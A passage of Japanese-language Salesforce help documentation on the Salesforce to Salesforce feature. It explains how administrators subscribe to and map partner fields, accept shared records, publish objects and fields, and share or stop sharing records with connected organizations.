は、オブジェクトの隣にある [自動引き受け] チェックボックスをオンにし
ます。対応付けを選択すると、チェックボックスが表示されます。

メモ: このチェックボックスは、以下の場合には使用できません。
• 子オブジェクト。親レコードが引き受けられると、商談商品、ToDo、公開ケースコメントは自動的

に引き受けられます。添付ファイルが公開に設定されて、[接続先と共有] チェックボックスがオ
ンになっている場合、添付ファイルは自動的に引き受けられます。

• 主従関係のカスタム連結オブジェクトまたは従オブジェクトなど、1 つまたは複数の主オブジェク
トを持つオブジェクト。

また、[自動引き受け] は、すでに引き受けられているケースレコードの子であるケースレコードな
ど、別のレコードの子として共有されるレコードには適用されません。

6. [保存] をクリックします。

メモ: オブジェクトを登録していて、ビジネスパートナーがそのオブジェクトをもう公開していない場
合、そのオブジェクトの契約が自動的に解除されます。
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オブジェクトを登録すると、自分のオブジェクトの項目にそのオブジェクトの公開項目を対応付けできます。
たとえば、リードの [説明] 項目を、[パートナーの説明] というリードのカスタム項目に対応付けできます。
これにより、ビジネスパートナーによる説明ではなく、自身の項目を使用して組織のユーザにリードを説明で
きます。

その他の考慮事項
• リードまたはケースを自動的に引き受ける場合、レコードが自動的に引き受けられると、組織の有効な割

り当てルールが適用されます。
• 接続先で共有されているレコードを自動的に引き受けるには、そのレコードの接続先の所有者が有効ユー

ザである必要があります。

Salesforce to Salesforce での項目の登録

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

公開項目を登録する
• 「接続の管理」

ビジネスパートナーからの Salesforce to Salesforce への参加招待を受諾したら、ビ
ジネスパートナーが公開した項目を登録し、それらの項目を自分の項目に対応
付けできます。共有しているレコードの項目をビジネスパートナーが更新する
と、その項目は、自分の組織の共有レコードで更新されます。
たとえば、ビジネスパートナーが [説明]項目を公開すると、その項目を [パー
トナーの説明]というカスタム項目に対応付けできます。これにより、自分専用
の項目を使用して、組織のユーザのリードを説明できます。
項目を登録する前に、「Salesforce to Salesforce での項目の対応付けのベストプラク
ティス」を参照してください。
登録オブジェクトで項目を対応付ける手順は、次のとおりです。
1. [接続] タブをクリックします。
2. 変更する接続の名前をクリックします。
3. [登録オブジェクト] 関連リストで、オブジェクトの横にある [編集] をクリッ

クします。
4. ドロップダウンリストから該当する項目を選択して、ビジネスパートナーの

公開項目を組織の項目に対応付けます。

メモ: 項目は、同じデータ型、長さ (テキストおよび数値項目)、小数点の位置 (数値項目) の項目としか
対応付けられず、ドロップダウンリストには、適切なデータ型の項目のみが表示されます。公開項目
の横にある情報アイコン ( ) の上にマウスポインタを置くと、その項目のデータ型の詳細を参照でき
ます。公開項目からデータを自分の項目に入力しない場合は、[--なし--] を選択します。

5. 項目が選択リストである場合には、[値の編集] をクリックして、各公開選択リスト値を組織の選択リスト
値に対応付けます。

6. [保存] をクリックします。
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メモ: 項目の対応付けと選択リストの値の変更は、Salesforceがキャッシュを更新している最大 15 分間、ビ
ジネスパートナーの組織に表示されない場合があります。このキャッシュにより、さらに大量のトラン
ザクションをサポートできるため、組織の制限対象となる API 呼び出し数を削減できます。

関連トピック:

接続の管理
Salesforce to Salesforce での項目の公開

Salesforce to Salesforce での項目の対応付けのベストプラクティス

エディション

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce to Salesforceで項目を登録するときには、その項目を自分の組織の項目に
対応付ける必要があります。これにより、その項目への更新がすべての共有レ
コードに同期されます。項目を対応付ける前に、次の重要なベストプラクティ
スを確認してください。

重要: この情報は、標準Salesforce to Salesforce接続に適用されます。組織同期
の一部として複製接続のために項目を対応付ける場合、この情報が部分的
に該当しない可能性があります。

項目の自動対応付け
• 項目を登録するとき、[[自動対応付け] 項目] を選択してビジネスパート

ナーの項目を自動的に自分の項目と対応付けます。このオプションを選
択したら、[保存] をクリックして加えた変更を適用します。

• 対応付けられない項目がある場合、Salesforce によって API 名が一致する項目があるかどうか確認されま
す。一致がない場合、Salesforceによって一致する項目表示ラベルがあるかどうか確認されます。それで
も一致がない場合、[--なし--] が選択されます。

• [[自動対応付け] 項目] を選択しても、以前の選択内容は上書きされず、選択解除しても、以前に対応付
けられた項目に影響はありません。

• 次の標準項目が自動的に対応付けられます。
– 取引先: [取引先名]、および個人取引先を使用している場合は [姓]

– 添付ファイル: [内容]、[コンテンツタイプ]、[ファイル名]

– ケース: [件名]

– ケースコメント: [内容] および [公開済み]

– 取引先責任者: [姓]

– カスタムオブジェクト: [名前]

– リード: [姓] および [会社]

– 商談: [名前]、[完了日]、[フェーズ]

– 商品: [商品名]

– ToDo: [件名]

– 商談商品: [数量]、[販売価格]
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選択リスト項目の対応付け
• 選択リスト値が [--なし--]に対応付けられており、ビジネスパートナーが選択リスト値を入力した場

合、自分の選択リスト項目は同じ値に設定されます。たとえば、[リード状況] 選択リストを登録し、ビ
ジネスパートナーがその選択リストに [内部] という値を設定していると、自分のレコードのリード状
況は [内部] になります。

• カスタム項目を選択リスト項目に変換するには、項目の公開を停止し、データ型を変更してから、再び
項目を公開します。

• 選択リスト項目を対応付けるときに、登録組織の項目のプロパティ [選択リスト値を厳格に適用する]が
有効になっていて、配信組織の [選択リスト値を厳格に適用する]が無効になっている場合、その項目を
登録組織の対応付けに使用することはできません。

通貨項目の対応付け
• 通貨項目を対応付けていて、接続で共有するレコードが組織で有効にしていない通貨を使用している場

合、組織でそのレコードを自動的に受け入れると、その通貨項目は更新されません。レコードを手動で
受け入れる場合、組織でレコードと同じ通貨が使用されている場合に限り、通貨が更新されます。
たとえば、接続で商談を共有しているとします。組織ではユーロのみを使用しています。接続で商談の
金額が 300 ドルに更新されます。組織ではアメリカドルをサポートしていないため、組織のレコードで
は、商談の金額は更新されません。

• 通貨項目を対応付け、自分または接続がその項目を含むレコードの通貨を変更した場合、自分がその項
目に加えた更新は、相手の組織には伝搬されなくなり、接続がその項目に加えた更新は自分の組織に反
映されません。

• 積み上げ集計項目を同じ通貨種別の通貨項目に対応付けることができます。たとえば、通貨種別が [米
国ドル] の積み上げ集計項目は、アメリカドルを使用する通貨項目に対応付けることができます。

数量と収益によるスケジュールの対応付け
• 接続の組織で [数量によるスケジュール] または [収益によるスケジュール] が有効化されていて、その接

続からの Products オブジェクトを登録している場合、次の項目を登録して、自分の組織の一致する項目
に対応付ける必要があります。

対応付ける項目スケジュールの種別

数量スケジュール – 数量スケジュール回数
– 数量スケジュール期間
– 数量スケジュール種別

収益スケジュール – 収益スケジュール回数
– 収益スケジュール期間
– 収益スケジュール種別
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異なるデータ型の対応付け
• 個人取引先項目は個人取引先項目にのみ対応付け、法人取引先項目は法人取引先項目にのみ対応付ける

必要があります。
• 接続が個人取引先を使用していて、自分が使用していない場合、接続と個人取引先レコードを共有する

と、個人取引先の [姓]項目が取引先名として使用されます。個人取引先を有効にしている場合、[姓]

に自動的に登録されます。姓と取引先名に変更があると同期されます。
• 標準数値項目をカスタム数値項目に対応付けることはできません。
• 参照項目を 80 以上の文字を含むテキスト項目に対応付けることができます。テキスト項目に対応付け

られたルックアップ項目が接続によって編集されると、テキスト項目はその変更内容によって更新され
ます。

• 自動採番項目を 30 以上の文字を含むテキスト項目に対応付けることができます。
• 数式項目を同じデータ型の項目に対応付けることができます。たとえば、数値データ型の数式項目を数

値データ型の項目に対応付けることができます。数式項目がテキストデータ型なら、長さが 80 文字以
上のテキスト項目に対応付けることができます。逆に、項目を数式項目に対応付けることはできませ
ん。たとえば、通貨データ型の数式項目を通貨項目に対応付けることができますが、通貨項目を数式項
目に対応付けることはできません。システム監査項目はサポートしていません。

項目の登録解除
• 次の条件を満たす場合、自動的に項目から登録解除されます。

– ビジネスパートナーが項目の公開を停止した
– 公開済み項目に対応付けられたカスタム項目を削除した
– カスタム選択リストまたはカスタム複数選択リストのデータ型が変更された (カスタム選択リストが

テキスト項目に変更された場合など)

関連トピック:

Salesforce to Salesforce での項目の登録
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接続先からの共有レコードの引き受け

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レコードを引き受ける
• オブジェクトに対する

「参照」または「編
集」

接続で共有されるレコー
ドを参照する
• 「接続の管理」または

リストビューへのアク
セス権

Salesforce to Salesforceを使用して、接続先のビジネスパートナーによって使用を許
可されたレコードを引き受けることができます。レコードを引き受ける場合、
自分自身、別のユーザ、キューにレコードを割り当てることができます。その
レコードがリードまたはケースである場合、組織の割り当てルールを使用して
自動的に割り当てることができます。レコードがユーザがすでに引き受け済み
のレコードの子である場合は、子レコードを引き受けるときに親レコードに割
り当てることができます。また、オブジェクトを登録している場合、オブジェ
クトのレコードを接続先と共有すると自動的に引き受けられるよう指定するこ
ともできます。
入力規則に違反しているため共有レコードの引き受けを実行できない場合は、
「[受信接続名] 次の文字列と一致しない Null」という入力規則を作成します。
これにより、接続先から引き受けるレコードについては入力規則が無視されま
す。この規則を作成するには、次の式を使用します。

IF(OR(ISNEW(), ISNULL(Id)), if(ConnectionReceivedId =null,
TRUE, FALSE),NOT(AND(ISCHANGED(ConnectionReceivedId),
NOT(ConnectionReceivedId = null))))

入力チェックを行うすべての Apex トリガに対しても、同様の規則を作成してください。
使用を許可されたレコードを引き受ける手順は、次のとおりです。

メモ: レコードを手動で承認する場合は、そのレコードの対応付けられてるすべての項目を更新するのに
多少時間がかかります。
レコードの受け入れ中にエラーが発生する場合、詳細は [接続履歴] を参照してください。

1. 引き受けるレコードタイプに対応するタブを選択します。
2. 接続リストビューを選択し、[Go!]をクリックします。たとえば、[接続先からのリード]セクションの [リー

ド] タブで、ドロップダウントリストからリストビューを選択し、[Go!] をクリックします。
3. 取引先、取引先責任者、および商談の場合は、引き受けるレコードの横にある [引き受ける] をクリックし

ます。ケース、リードおよびカスタムオブジェクトの場合、引き受けるレコードの横にあるチェックボッ
クスを選択して、[引き受ける] をクリックします。
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メモ: すでに引き受け済みのレコードの子レコードである場合は、[親レコード名] 列に親レコードの名
前が表示されます。自身が親レコードであるか、親レコードを持たないレコードの場合、この列は空
白です。
公開添付ファイルを持つレコードを受け入れると、その添付ファイルの [接続先と共有]チェックボッ
クスをオンにした場合は、その添付ファイルも自動的に受け入れられます。

商談レコードの引き受け
商談を引き受ける場合は、商談をオブジェクトや価格表に関連付けたり、商談を新しい取引先または商談に関
連付けたり、あるいは既存の取引先または商談を使用するオプションを使用します。新しい商談または取引先
を作成する場合、そのレコードの所有者を設定することもできます。

取引先レコードの引き受け
取引先を引き受ける場合、その取引先を他のオブジェクトに関連付けたり、新しい取引先を作成したりするこ
とも、既存の取引先を使用することもできます。新しい取引先を作成する場合、そのレコードの所有者を設定
することもできます。

取引先責任者レコードの引き受け
取引先責任者を引き受ける場合、その取引先責任者を他のオブジェクトに関連付けたり、新しい取引先または
取引先責任者を作成したりすることも、既存の取引先または取引先責任者を使用することもできます。新しい
取引先責任者または取引先を作成する場合、そのレコードの所有者を設定することもできます。

ケース、リード、およびカスタムオブジェクトレコードの引き受け
ケース、リードまたはカスタムオブジェクトを引き受ける場合、そのケース、リードまたはカスタムオブジェ
クトを他のオブジェクトに関連付けたり、リードまたはカスタムオブジェクトを新規所有者に割り当てたりす
ることができます。

メモ: [有効な割り当てルールによりリードを割り当てる] を選択していて、割り当てルールの条件が満た
されない場合は、リード、ケース、またはカスタムオブジェクトは、デフォルトのリード、ケース、ま
たはカスタムオブジェクトレコード所有者に割り当てられます。

商品レコードの引き受け
商品を引き受ける場合、新しい商品を作成することも商品を既存の取引先と関連付けることもできます。

その他の考慮事項
• 共有レコードを引き受けた後に、ビジネスパートナーが登録した項目をあなたが更新すると、その項目は、

ビジネスパートナーの組織のレコードで自動的に更新されます。同様に、あなたが登録した項目をビジネ
スパートナーが更新すると、その項目はあなたの組織で自動的に更新されます。ビジネスパートナーがレ
コードを更新すると、[最終更新者] 項目は「接続ユーザ」に設定されます。
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• レコードを引き受けたら、Salesforce to Salesforceを使用してレコードの使用を許可する場合と同じ方法で、そ
のレコードを他の接続先に対して使用を許可できます。これにより、多層ビジネスネットワークで作業を
行うことができます。多層ネットワークでは、組織の共有レコードに変更を加えると、そのレコードを共
有しているすべての組織でその情報が更新されます。

• ビジネスパートナーが、ユーザがすでに引き受けたレコードの関連リストの [接続の管理] リンクを使用し
て後から子レコードを共有すると、組織にその子レコードを自動的に追加できます。

関連トピック:

Salesforce to Salesforce を使用したレコードの共有
接続ホームページ
Salesforce to Salesforce 使用のヒント

接続先からの関連レコードの自動的な引き受け

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レコードを引き受けるま
たは却下する
• レコードに対する「参

照」または「編集」

接続先から関連レコードを自動的に引き受けるためのルール
Salesforce to Salesforceを使用してレコードを共有する場合、子レコードも共有する
ことができます。接続先からレコードを引き受けるとき、または接続先がユー
ザが送信したレコードを引き受けるときに、条件を満たす子レコードを自動的
に引き受けるように設定できます。同様に、親レコードがすでに引き受けられ
ている子レコードを、後から関連リストの [接続の管理] を使用して共有する場
合にも、その子レコードが自動的に引き受けられるように設定できます。
子レコードを自動的に引き受けるには、次の条件が満たされている必要があり
ます。
• 親レコードがすでに組織に引き受けられている。
• レコードが親レコードに対する子として関連している。
• 子レコードが 2 つのマスタレコードを持たない。
• 子レコードが同じ親オブジェクトに対して複数の関係を持たない。
• 接続所有者は、有効ユーザである。
• 親レコードの所有者は、有効ユーザである。

重要: 子レコードが自動的に引き受けられた場合、親レコードの関連リス
トでの参照に多少の遅れが生じる場合があります。また、子レコードが親
レコードの関連リストの [接続の管理] リンクを使用して共有されている場
合、送信接続名が表示されるまでに多少の遅れが生じる場合があります。

子レコードが自動引き受け条件を満たしていない場合は、オブジェクトタブから手動で引き受ける必要があり
ます。たとえば、商談レコードは [商談] タブから引き受ける必要があります。手動で引き受ける必要がある子
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レコードは、正しく割り当てることができるように親レコード名も一緒に表示されます。詳細は、「接続先か
らの共有レコードの引き受け」 (ページ 1849)を参照してください。

関連トピック:

Salesforce to Salesforce での項目の登録

Salesforce to Salesforce でのオブジェクトの公開

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

オブジェクトを公開する
• 「接続の管理」

オブジェクトを公開すると、組織のユーザは Salesforce to Salesforce を使用してそ
のオブジェクトをビジネスパートナーと共有することができます。招待を受諾
するか、新しいカスタムオブジェクトを作成するか、ビジネスパートナーと共
有する情報を増やす場合、公開するオブジェクトを増やすこともできます。ま
たは、特定のビジネスパートナーに対して公開するオブジェクトを制限する必
要が生じることもあります。
次のオブジェクトを公開できます。
• 取引先
• 添付ファイル
• ケース
• ケースコメント
• 取引先責任者
• リード
• 商談
• 商談商品
• 商品
• ToDo

• カスタムオブジェクト
接続先に対して公開オブジェクトを定義する手順は、次のとおりです。
1. [接続] タブをクリックします。
2. 変更する接続の名前をクリックします。
3. [公開オブジェクト] 関連リストで、[公開 / 非公開] をクリックします。
4. ビジネスパートナーに公開するオブジェクトを選択します。公開しないオブジェクトは選択を解除します。
5. [保存] をクリックします。

メモ: 編集する権限がないオブジェクトは公開できません。

公開オブジェクトを更新すると、その変更を通知するメールがビジネスパートナーに送信されます。このメー
ルは、接続更新コミュニケーションテンプレートを編集することによりカスタマイズできます。
ビジネスパートナーは、次の場合にオブジェクトの契約が自動的に解除されます。
• オブジェクトの公開を中止する
• ビジネスパートナーが登録していたカスタムオブジェクトを削除する
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オブジェクトを公開すると、そのオブジェクトで公開する項目を管理できます。項目公開の詳細は、「Salesforce

to Salesforce での項目の公開」 (ページ 1853)を参照してください。

その他の考慮事項
• 組織のすべてのカスタムオブジェクトは、オブジェクト一覧に表示されますが、Salesforce to Salesforce でサ

ポートするのは、リリース済みカスタムオブジェクトのみです。リリースされていないカスタムオブジェ
クトのレコードは共有送信できません。

• ケースコメントオブジェクトを公開すると、すべての公開ケースコメントが接続先と共有されます。特定
のケースのコメントを共有しないようにするには、[非公開] をオンにします。

関連トピック:

Salesforce to Salesforce での項目の公開
接続先への関連レコードの共有送信

Salesforce to Salesforce での項目の公開

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

項目を公開する
• 「接続の管理」

Salesforce to Salesforceでビジネスパートナーと連携する場合、オブジェクトを公開
することにより、どのオブジェクトを共有するかを制御します。また、そのオ
ブジェクトのうちどの項目を公開するかも制御できます。デフォルトでは、次
の項目が公開されます。
• 取引先: [取引先名]、および個人取引先を使用している場合は [姓]

• 添付ファイル: [内容]、[コンテンツタイプ]、[ファイル名]

• ケース: [件名]

• ケースコメント: [内容] および [公開済み]

• 取引先責任者: [姓]

• カスタムオブジェクト: [名前]

• リード: [姓] および [会社]

• 商談: [名前]、[完了日]、[フェーズ]

• 商品: [商品名]

• ToDo: [件名]

• 商談商品: [数量]、[販売価格]

Salesforce to Salesforce では、各項目の API 表示ラベルを表示します。
上記の必須項目に加え、他の項目を公開したり、現在公開している項目を特定のビジネスパートナーに限定し
たりする必要が生じることもあります。
接続に対し、公開項目を定義する手順は、次のとおりです。
1. [接続] タブをクリックします。
2. 変更する接続の名前をクリックします。
3. [公開オブジェクト] 関連リストで、公開オブジェクトの横にある [編集] をクリックします。
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4. ビジネスパートナーに公開する項目を選択します。公開しない項目は選択を解除します。
5. [保存] をクリックします。

メモ: 編集する権限がない項目は公開できません。
項目の変更は、Salesforce がキャッシュを更新している間、最大 15 分間登録接続に表示されない場合があ
ります。このキャッシュにより、さらに大量のトランザクションをサポートできるため、組織の制限対
象となる API 呼び出し数を削減できます。
リッチテキストエリア (RTA) 項目は公開できません。
地理位置情報項目と標準住所の緯度および経度は、Salesforce to Salesforce ではサポートされません。

公開する項目を変更すると、その変更を通知するメールがビジネスパートナーに送信されます。このメール
は、接続更新コミュニケーションテンプレートを編集することによりカスタマイズできます。
ビジネスパートナーは、次の場合に項目の登録が自動的に解除されます。
• 項目の公開を中止する
• ビジネスパートナーが登録していたカスタム項目を削除する
• ビジネスパートナーが登録していた項目の種別を変更する
• ロングテキストエリア、テキスト、パーセント、数値、通貨の項目のサイズや精度を変更する
これらの項目は公開されたままとなりますが、ビジネスパートナーは再契約する必要があります。
Salesforce サービスの新しいリリースに、新しい標準項目が含まれている場合があります。新しいリリースへ
は、世界中の Salesforce 組織で同時にアップグレードされるわけではないため、ビジネスパートナーの組織が
アップグレードされるまで、ビジネスパートナーに新規項目を公開できません。サービスのアップグレード
は、予定されたシステムメンテナンス時間に行われます。システムメンテナンスのスケジュールを確認するに
は、trust.salesforce.comを参照してください。

その他のヒントと検討事項
• 項目を公開するときは、ビジネスパートナーに項目に関する情報を送信することを検討してください。そ

うすることで、ビジネスパートナーは、自身のプログラムにとって意味のある対応付け戦略を作成しやす
くなります。

• 公開したカスタム項目の名前を、パートナーが使用する言語に翻訳します。こうすると、パートナーはそ
れぞれの言語で項目名を見ることができます。

• 個人取引先を使用している場合に接続先で個人取引先が有効になっていないと、レコードを共有するとき
に個人取引先の [姓] が [取引先名] として使用されます。接続先で個人取引先が有効になっている場合、
[姓] は自動的に登録されます。[姓] および [取引先名] に加えた変更は同期されます。

• 取引先責任者の [ミドルネーム]、[非公式名]、[肩書き]項目を公開する場合は、自社の組織とパートナー
の組織の両方で項目が有効になっているか、パートナーの組織で取引先責任者の自動引き受けが設定され
ている必要があります。

関連トピック:

接続の管理
Salesforce to Salesforce での項目の登録
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接続先でレコードを使用可能にする方法

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

接続先にレコードを割り
当てる
• レコードに対する「参

照」または「編集」

レコードの共有を停止す
る
• レコードに対する「参

照」または「編集」

接続先に複数のレコード
を共有送信する
• 「接続の管理」

Salesforce to Salesforceによりユーザは、接続するビジネスパートナーとレコードを
共有できます。レコードを共有するには、レコードを接続先に直接共有送信す
るか、接続先のキューにレコードを割り当てるかの 2 つの方法があります。同
じレコードを複数の接続先と共有できます。共有したレコードは、接続先で引
き受ける必要があります。

メモ: レコードを、元々それを共有していた接続先に共有送信しないでく
ださい。送信すると、Apex トリガの実行時にエラーが発生します。

接続とのレコードの共有
接続するビジネスパートナーとレコードを共有できます。共有送信できるレコー
ドは、自分または部下が所有するレコードです。システム管理者はすべてのレ
コードを共有送信できます。

メモ: 転送するどのリードレコードにも、[会社名] 項目に値が含まれてい
る必要があります。
リリースされていないカスタムオブジェクトのレコードは共有送信できま
せん。

1. レコードおよびその関連レコードを共有送信する手順は、次のとおりです。
• レコードの詳細ページを表示します。
• [外部共有] 関連リストで、[共有送信] ボタンをクリックします。

2. 接続先に複数のレコードを共有送信する手順は、次のとおりです。
• 転送するレコードタイプのタブを選択します。
• [表示] のドロップダウンリストからリストビューを選択して、[Go!]をク

リックします。
• リストビューで、共有送信するレコードの横のチェックボックスをオンにします。レコードをすべて選

択するには、列のヘッダーにあるチェックボックスをオンにします。
• [接続に転送] をクリックします。

3. [選択可能な接続] リストで、レコードを共有送信する接続先を選択します。
4. [追加] の矢印 ( ) をクリックして、接続先を [選択済みの接続] に移動します。
5. 必要に応じて、レコードを共有送信したことを接続先の担当者に通知するメールを送信する場合は、[メー

ルで通知する (新規被招待者のみ)] を選択します。レコードの新規受信者のみがこのメールを受け取りま
す。以前レコードを共有送信した接続先がまたメールを受け取ることはありません。

6. 必要に応じて、共有送信する関連レコードの横のチェックボックスをオンにします。関連レコードを個別
に共有することもできます。

7. [保存] をクリックします。
レコードは指定した接続先に共有送信されます。
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ヒント: 通貨項目など、特定の項目は Salesforce to Salesforce の特定の方法で対応付ける必要があります。詳
細は、「Salesforce to Salesforce での項目の対応付けのベストプラクティス」を参照してください。

添付ファイルの共有
サポートされるオブジェクトの子レコードとして添付ファイルを共有できます。次の条件を満たす場合、添付
ファイルは接続先に自動的に受け入れられます。
• 添付ファイルオブジェクト種別が接続先に公開され、接続先がそのオブジェクトを登録していること。
• 添付ファイルの親レコードを接続先と共有していること。
• 添付ファイルが「非公開」になっていないこと。
• 添付ファイルの [接続先と共有] チェックボックスがオンになっていること。
• 添付ファイルサイズが 20 MB 以下であること。

レコードの共有の停止
レコードの共有を停止する手順は、次のとおりです。

メモ: 共有を停止できるのは、自分または自分の下位ユーザが所有するレコードのみです。システム管理
者は、すべてのレコードの共有を停止することができます。

1. レコードの詳細ページを表示します。
2. [外部共有] 関連リストで、[共有を停止] をクリックします。
接続先とのレコードの共有を停止すると、組織のレコードに対する変更は接続先の組織のレコードには反映さ
れません。他の組織の共有レコードは削除されません。

関連トピック:

Salesforce to Salesforce を使用したレコードの共有
[外部共有] 関連リスト
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[外部共有] 関連リスト

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レコードの外部共有状況
を表示する
• レコードに対する「参

照」

レコードの共有を停止す
る
• 「接続の管理」

Salesforce to Salesforce を使用して、1 つ以上の接続先とレコードを共有できます。
また、他の接続先が同じレコードを引き受けている場合でも、各接続先は共有
するレコードを引き受けることができます。接続先から受信したレコード、ま
たは、接続先と共有するレコードで作業するとき、レコードの詳細ページには、
レコードの状況を示すヘッダーがあります。レコードには、[外部共有] 関連リス
トも含まれ、このレコードを共有する接続先とその共有状況の詳細が表示され
ます。
外部共有されるレコードは、次のいずれかの状況になります。
有効 (送信済み)

レコードは、外部組織によって共有され、引き受けられました。
有効 (受信済み)

レコードが外部組織から送信され、引き受けられました。
待機中 (送信済み)

レコードは共有されていますが、外部組織は引き受けていません。
無効

レコードは外部組織と共有されていません。
無効 (削除済み)

レコードは外部組織によって引き受けられましたが、その組織がレコードを
削除しました。

無効 (変換済み)

レコードは外部組織が引き受けたリードであり、その組織によって商談が取
引開始になりました。リードが取引開始済みになると、Salesforce to Salesforceは共有レコードを無効にするた
め、登録接続で更新されることはなくなります。

メモ: 取引開始の処理中に [リード状況] を変更しても、登録接続には反映されません。

関連トピック:

Salesforce to Salesforce を使用したレコードの共有
接続先でレコードを使用可能にする方法
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接続先への関連レコードの共有送信

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

接続先にレコードを割り
当てる
• レコードに対する「参

照」または「編集」

接続先に関連レコードを
共有送信する
• レコードに対する「参

照」または「編集」

レコードの共有を停止す
る
• レコードに対する「参

照」または「編集」

Salesforce to Salesforceでは、接続先とすでに共有されているレコードの子であるレ
コードを共有送信できます。親レコードを共有する場合に共有できる子レコー
ドタイプを選択します。
特定の基準を満たしていれば、接続先が親レコードを引き受けた後、子レコー
ドは接続先と自動的に共有になります。
関連レコードを共有するときは、次のヒントに留意してください。
• 共有されていないレコードから関連レコードを編集すると、その関連レコー

ドは接続先で共有されなくなります。
• 関連レコードあたり最大 100 の ToDo を共有できます。この最大数には、未完

了 ToDo と完了した ToDo の両方が含まれます。
親レコードの詳細ページから関連レコードの共有を停止する手順は、次のとお
りです。
1. 親レコードの詳細ページを選択します。
2. 共有を停止する関連レコードが入っている関連リストの [送信接続名] 列で、

[接続の管理] をクリックします。たとえば、取引先に関連する取引先責任者
の共有を停止するには、取引先の詳細ページの取引先関連リストで、[接続の
管理] をクリックします。

3. [選択された接続先] リストで、共有を停止する接続先を選択します。
4. [削除] の矢印 ( ) をクリックして、接続先を [選択可能な接続] リストに移動

します。
5. [保存] をクリックします。
また、詳細ページから関連レコードの共有を停止する手順は、次のとおりです。
1. レコードの詳細ページを表示します。
2. [外部共有] 関連リストで、[共有を停止] をクリックします。
ケースコメントまたは添付ファイルの共有を停止するには、レコードを非公開にする必要があります。

接続との商談商品の共有
商談商品は、商談レコードと商品レコードの両方に関連付けられています。そのため、関連付けられている商
品も共有されていれば、共有されている商談の子レコードとしてのみ共有できます。
次のすべての条件に合えば、商談商品を接続先と自動的に共有します。
• 商談商品オブジェクト種別が接続先に公開され、接続先がそのオブジェクトを登録していること。
• 商談商品に関連付けられている商談と商品を接続先と共有していること。
• 接続先の組織で、引き受け中に商談を有効な価格表に関連付けること。
• 接続先の組織で、商品を商談と同じ有効な価格表に関連付けること。
• 接続先の組織で、商品が有効であること。
• 両方の組織で、商談通貨が同じであること。
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商談商品を共有するときは、次の追加ルールを考慮します。
• 数量または収益のスケジュールが接続先の組織で有効になっている場合、[数量] 項目と [販売価格] 項目は、

接続先の組織では更新されません。
• 商談商品に関連付けられている価格表が 1 つの組織で変更または削除されると、その商談商品は共有され

なくなります。
• 商談が共有されなくなると、商談商品も共有されなくなります。

メモ: グローバル検索およびグローバル置換を実行して、複数の商談レコードのフェーズを現在編集して
いる場合、Salesforce to Salesforce でレコードを転送した組織では変更が反映されません。
たとえば、すべての無効な商談のフェーズを [無効] から [レビュー中] に変更するグローバル検索およ
びグローバル置換を実行するとします。
影響を受ける商談が Salesforce to Salesforce でビジネスパートナーに転送されていると、その商談はパート
ナーのSalesforce組織で引き続き [無効]フェーズになります。フェーズの変更が組織で反映されるには、
影響を受ける各商談を開き、[編集] をクリックして、[保存] をクリックする必要があります。

ケースコメントの接続先との共有
ケースコメントをケースの子レコードとして共有できます。次の条件を満たす場合、ケースコメントは接続先
に自動的に受け入れられます。
• ケースコメントオブジェクト種別が接続先に公開され、接続先がそのオブジェクトを登録していること。
• ケースコメントが関連付けられるケースが接続先と共有されていること。
• ケースコメントが「非公開」になっていないこと。

関連トピック:

Salesforce to Salesforce を使用したレコードの共有
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Salesforce to Salesforce 使用のヒント

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ワークフローを使用可能
なエディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

カスタムレポートを使用した接続の管理
カスタムレポートを使用して、Salesforce to Salesforce の活動や更新を追跡します。
詳細は、「Salesforce to Salesforce のレポート」を参照してください。

レコードの管理
• 入力規則に違反しているため共有レコードの引き受けを実行できない場合

は、「[受信接続名] 次の文字列と一致しない Null」という入力規則を作成し
ます。これにより、接続先から引き受けるレコードについては入力規則が無
視されます。この規則を作成するには、次の式を使用します。

IF(OR(ISNEW(), ISNULL(Id)), if(ConnectionReceivedId =null,
TRUE, FALSE),NOT(AND(ISCHANGED(ConnectionReceivedId),
NOT(ConnectionReceivedId = null))))

入力チェックを行うすべての Apex トリガに対しても、同様の規則を作成してください。
• 接続と共有しているレコードを追跡するには、カスタムレポートを作成します。たとえば、リードを接続

先と共有している場合に、接続先によって削除されたすべてのリードを表示するカスタムレポートを作成
できます。
– [リードと接続] レポートタイプを使用します。
– 「状況次の文字列と一致する無効 (削除済み)」という検索条件を入力します。

• 受諾していない接続先からのレコードのビューを活用するには、カスタムリストビューを作成します。た
とえば、1 か月以上受諾していない接続先のリードを非表示にするリストビューを作成します。

メモ: これらのリストビューを作成するには、「接続の管理」権限が必要です。

• 接続先から共有されたオブジェクトを表示できるのは「接続の管理」権限を持つユーザのみです。そのた
